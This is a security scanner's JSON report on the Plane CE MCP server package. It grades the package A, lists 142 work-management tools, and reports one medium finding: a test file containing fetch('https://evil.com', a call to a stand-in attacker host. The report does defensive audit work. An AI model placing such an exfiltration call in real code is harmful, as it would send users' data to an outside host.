Plane Ce — the complete, unedited output of the deterministic mcptrustchecker engine v1.8.0, scanned . Every finding, capability tag and score component below is exactly what the engine produced — no AI, no post-processing.
{
"tool": {
"name": "mcptrustchecker",
"version": "1.8.0",
"methodologyVersion": "mcptrustchecker-1.8"
},
"target": {
"id": "plane-ce-mcp",
"source": {
"kind": "package",
"origin": "plane-ce-mcp"
},
"server": {
"name": "plane-ce-mcp"
}
},
"grade": "A",
"score": {
"score": 96,
"threatScore": 100,
"grade": "A",
"band": "A",
"categorySubtotals": {
"injection": 0,
"exfiltration": 0,
"permissions": 0,
"supply-chain": 0,
"network": 0,
"hygiene": 0
},
"vector": [
{
"kind": "client",
"term": "capability-exposure",
"level": "moderate",
"label": "capability blast radius (moderate) — client exposure if the model is manipulated",
"appliedPenalty": 3
},
{
"kind": "client",
"term": "verification-discount",
"level": "repo",
"label": "publisher verification (public source) — no provenance, but the source is public and inspectable",
"appliedPenalty": 1
},
{
"kind": "client",
"term": "coverage-honesty",
"level": "source",
"label": "inspection depth (source) — how much of the target the scan could see",
"appliedPenalty": 0
}
],
"gatesFired": [],
"methodologyVersion": "mcptrustchecker-1.8"
},
"capability": {
"level": "moderate",
"reasons": [
"ingests untrusted external content (a prompt-injection entry point)",
"can send data / act on an external service"
],
"tags": [
"untrusted-input",
"external-sink"
]
},
"coverage": {
"level": "source",
"inputs": {
"toolSurface": true,
"implementationSource": true,
"packageMetadata": true,
"liveTransport": false
},
"caveats": [
"Tools were statically extracted from the published source (142 recovered), not enumerated from a running server. Tool-poisoning, Unicode-smuggling, capability and toxic-flow analysis ran on this inferred surface, but a mis-parsed registration could be missed or mis-attributed, so tool-derived findings are capped below “confirmed”. To grade the real runtime surface, scan the running server: --command \"npx -y <package>\"."
]
},
"findings": [
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint (tests/test_oauth_security.py)",
"category": "exfiltration",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`tests/test_oauth_security.py:151`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "tests/test_oauth_security.py"
},
"evidence": "fetch('https://evil.com'",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "tests/test_oauth_security.py",
"line": 151
}
}
],
"toxicFlows": [],
"capabilities": [
{
"tool": "list_cycles",
"tags": [],
"reasons": {}
},
{
"tool": "create_cycle",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_cycle",
"tags": [],
"reasons": {}
},
{
"tool": "update_cycle",
"tags": [],
"reasons": {}
},
{
"tool": "delete_cycle",
"tags": [],
"reasons": {}
},
{
"tool": "manage_cycle_work_items",
"tags": [],
"reasons": {}
},
{
"tool": "list_cycle_work_items",
"tags": [],
"reasons": {}
},
{
"tool": "transfer_cycle_work_items",
"tags": [],
"reasons": {}
},
{
"tool": "manage_cycle_archive",
"tags": [],
"reasons": {}
},
{
"tool": "complete_cycle",
"tags": [],
"reasons": {}
},
{
"tool": "list_initiatives",
"tags": [],
"reasons": {}
},
{
"tool": "create_initiative",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_initiative",
"tags": [],
"reasons": {}
},
{
"tool": "update_initiative",
"tags": [],
"reasons": {}
},
{
"tool": "delete_initiative",
"tags": [],
"reasons": {}
},
{
"tool": "list_initiative_projects",
"tags": [],
"reasons": {}
},
{
"tool": "manage_initiative_projects",
"tags": [],
"reasons": {}
},
{
"tool": "get_instance_info",
"tags": [],
"reasons": {}
},
{
"tool": "list_toolsets",
"tags": [],
"reasons": {}
},
{
"tool": "list_intake_work_items",
"tags": [],
"reasons": {}
},
{
"tool": "create_intake_work_item",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_intake_work_item",
"tags": [],
"reasons": {}
},
{
"tool": "update_intake_work_item",
"tags": [],
"reasons": {}
},
{
"tool": "delete_intake_work_item",
"tags": [],
"reasons": {}
},
{
"tool": "list_labels",
"tags": [],
"reasons": {}
},
{
"tool": "create_label",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_label",
"tags": [],
"reasons": {}
},
{
"tool": "update_label",
"tags": [],
"reasons": {}
},
{
"tool": "delete_label",
"tags": [],
"reasons": {}
},
{
"tool": "list_milestones",
"tags": [],
"reasons": {}
},
{
"tool": "create_milestone",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_milestone",
"tags": [],
"reasons": {}
},
{
"tool": "update_milestone",
"tags": [],
"reasons": {}
},
{
"tool": "delete_milestone",
"tags": [],
"reasons": {}
},
{
"tool": "manage_milestone_work_items",
"tags": [],
"reasons": {}
},
{
"tool": "list_milestone_work_items",
"tags": [],
"reasons": {}
},
{
"tool": "list_modules",
"tags": [],
"reasons": {}
},
{
"tool": "create_module",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_module",
"tags": [],
"reasons": {}
},
{
"tool": "update_module",
"tags": [],
"reasons": {}
},
{
"tool": "delete_module",
"tags": [],
"reasons": {}
},
{
"tool": "manage_module_work_items",
"tags": [],
"reasons": {}
},
{
"tool": "list_module_work_items",
"tags": [],
"reasons": {}
},
{
"tool": "manage_module_archive",
"tags": [],
"reasons": {}
},
{
"tool": "list_pages",
"tags": [],
"reasons": {}
},
{
"tool": "attach_page_to_work_item",
"tags": [],
"reasons": {}
},
{
"tool": "list_work_item_pages",
"tags": [],
"reasons": {}
},
{
"tool": "detach_page_from_work_item",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_page",
"tags": [],
"reasons": {}
},
{
"tool": "search_pages",
"tags": [],
"reasons": {}
},
{
"tool": "create_page",
"tags": [],
"reasons": {}
},
{
"tool": "get_pql_reference",
"tags": [],
"reasons": {}
},
{
"tool": "list_projects",
"tags": [],
"reasons": {}
},
{
"tool": "create_project",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_project",
"tags": [],
"reasons": {}
},
{
"tool": "update_project",
"tags": [],
"reasons": {}
},
{
"tool": "delete_project",
"tags": [],
"reasons": {}
},
{
"tool": "manage_project_archive",
"tags": [],
"reasons": {}
},
{
"tool": "get_project_worklog_summary",
"tags": [],
"reasons": {}
},
{
"tool": "get_project_members",
"tags": [],
"reasons": {}
},
{
"tool": "update_project_features",
"tags": [],
"reasons": {}
},
{
"tool": "get_project_estimate",
"tags": [],
"reasons": {}
},
{
"tool": "list_project_estimate_points",
"tags": [],
"reasons": {}
},
{
"tool": "create_project_estimate",
"tags": [],
"reasons": {}
},
{
"tool": "update_project_estimate",
"tags": [],
"reasons": {}
},
{
"tool": "delete_project_estimate",
"tags": [],
"reasons": {}
},
{
"tool": "link_estimate_to_project",
"tags": [],
"reasons": {}
},
{
"tool": "create_project_estimate_points",
"tags": [],
"reasons": {}
},
{
"tool": "update_project_estimate_point",
"tags": [],
"reasons": {}
},
{
"tool": "delete_project_estimate_point",
"tags": [],
"reasons": {}
},
{
"tool": "list_roles",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_role",
"tags": [],
"reasons": {}
},
{
"tool": "list_states",
"tags": [],
"reasons": {}
},
{
"tool": "create_state",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_state",
"tags": [],
"reasons": {}
},
{
"tool": "update_state",
"tags": [],
"reasons": {}
},
{
"tool": "delete_state",
"tags": [],
"reasons": {}
},
{
"tool": "get_me",
"tags": [],
"reasons": {}
},
{
"tool": "list_work_item_activities",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_work_item_activity",
"tags": [],
"reasons": {}
},
{
"tool": "list_work_item_attachments",
"tags": [
"untrusted-input"
],
"reasons": {
"untrusted-input": [
"keyword \"download\""
]
}
},
{
"tool": "get_work_item_attachment_download_url",
"tags": [
"untrusted-input"
],
"reasons": {
"untrusted-input": [
"keyword \"download\""
]
}
},
{
"tool": "upload_work_item_attachment_from_url",
"tags": [],
"reasons": {}
},
{
"tool": "delete_work_item_attachment",
"tags": [],
"reasons": {}
},
{
"tool": "read_work_item_attachment",
"tags": [],
"reasons": {}
},
{
"tool": "list_work_item_comments",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_work_item_comment",
"tags": [],
"reasons": {}
},
{
"tool": "create_work_item_comment",
"tags": [],
"reasons": {}
},
{
"tool": "update_work_item_comment",
"tags": [],
"reasons": {}
},
{
"tool": "delete_work_item_comment",
"tags": [],
"reasons": {}
},
{
"tool": "list_work_item_links",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_work_item_link",
"tags": [],
"reasons": {}
},
{
"tool": "create_work_item_link",
"tags": [],
"reasons": {}
},
{
"tool": "update_work_item_link",
"tags": [],
"reasons": {}
},
{
"tool": "delete_work_item_link",
"tags": [],
"reasons": {}
},
{
"tool": "list_work_item_properties",
"tags": [],
"reasons": {}
},
{
"tool": "create_work_item_property",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_work_item_property",
"tags": [],
"reasons": {}
},
{
"tool": "update_work_item_property",
"tags": [],
"reasons": {}
},
{
"tool": "delete_work_item_property",
"tags": [],
"reasons": {}
},
{
"tool": "manage_work_item_type_properties",
"tags": [],
"reasons": {}
},
{
"tool": "list_work_item_property_options",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_work_item_property_option",
"tags": [],
"reasons": {}
},
{
"tool": "create_work_item_property_option",
"tags": [],
"reasons": {}
},
{
"tool": "update_work_item_property_option",
"tags": [],
"reasons": {}
},
{
"tool": "delete_work_item_property_option",
"tags": [],
"reasons": {}
},
{
"tool": "get_work_item_property_value",
"tags": [],
"reasons": {}
},
{
"tool": "set_work_item_property_value",
"tags": [],
"reasons": {}
},
{
"tool": "delete_work_item_property_value",
"tags": [],
"reasons": {}
},
{
"tool": "list_work_item_relation_definitions",
"tags": [],
"reasons": {}
},
{
"tool": "create_work_item_relation_definition",
"tags": [],
"reasons": {}
},
{
"tool": "update_work_item_relation_definition",
"tags": [],
"reasons": {}
},
{
"tool": "delete_work_item_relation_definition",
"tags": [],
"reasons": {}
},
{
"tool": "list_work_item_relations",
"tags": [],
"reasons": {}
},
{
"tool": "create_work_item_relation",
"tags": [],
"reasons": {}
},
{
"tool": "remove_work_item_relation",
"tags": [],
"reasons": {}
},
{
"tool": "list_work_item_types",
"tags": [],
"reasons": {}
},
{
"tool": "create_work_item_type",
"tags": [],
"reasons": {}
},
{
"tool": "import_work_item_types_to_project",
"tags": [],
"reasons": {}
},
{
"tool": "resolve_work_item_type",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_work_item_type",
"tags": [],
"reasons": {}
},
{
"tool": "update_work_item_type",
"tags": [],
"reasons": {}
},
{
"tool": "delete_work_item_type",
"tags": [],
"reasons": {}
},
{
"tool": "list_work_items",
"tags": [],
"reasons": {}
},
{
"tool": "count_work_items",
"tags": [],
"reasons": {}
},
{
"tool": "create_work_item",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_work_item",
"tags": [],
"reasons": {}
},
{
"tool": "retrieve_work_item_by_identifier",
"tags": [],
"reasons": {}
},
{
"tool": "update_work_item",
"tags": [],
"reasons": {}
},
{
"tool": "delete_work_item",
"tags": [],
"reasons": {}
},
{
"tool": "manage_work_item_assignee",
"tags": [],
"reasons": {}
},
{
"tool": "manage_work_item_label",
"tags": [],
"reasons": {}
},
{
"tool": "list_archived_work_items",
"tags": [],
"reasons": {}
},
{
"tool": "manage_work_item_archive",
"tags": [],
"reasons": {}
},
{
"tool": "search_work_items",
"tags": [],
"reasons": {}
},
{
"tool": "list_work_logs",
"tags": [],
"reasons": {}
},
{
"tool": "create_work_log",
"tags": [],
"reasons": {}
},
{
"tool": "update_work_log",
"tags": [],
"reasons": {}
},
{
"tool": "delete_work_log",
"tags": [],
"reasons": {}
},
{
"tool": "get_workspace_members",
"tags": [],
"reasons": {}
},
{
"tool": "get_features",
"tags": [],
"reasons": {}
},
{
"tool": "update_workspace_features",
"tags": [],
"reasons": {}
}
],
"surfaceDigest": "3daac1aa52170ece4e2e77906e2cf208554e81bff783bbcfdb00fc0f08630c47",
"stats": {
"tools": 142,
"prompts": 0,
"resources": 0,
"findingsBySeverity": {
"critical": 0,
"high": 0,
"medium": 1,
"low": 0,
"info": 0
}
}
}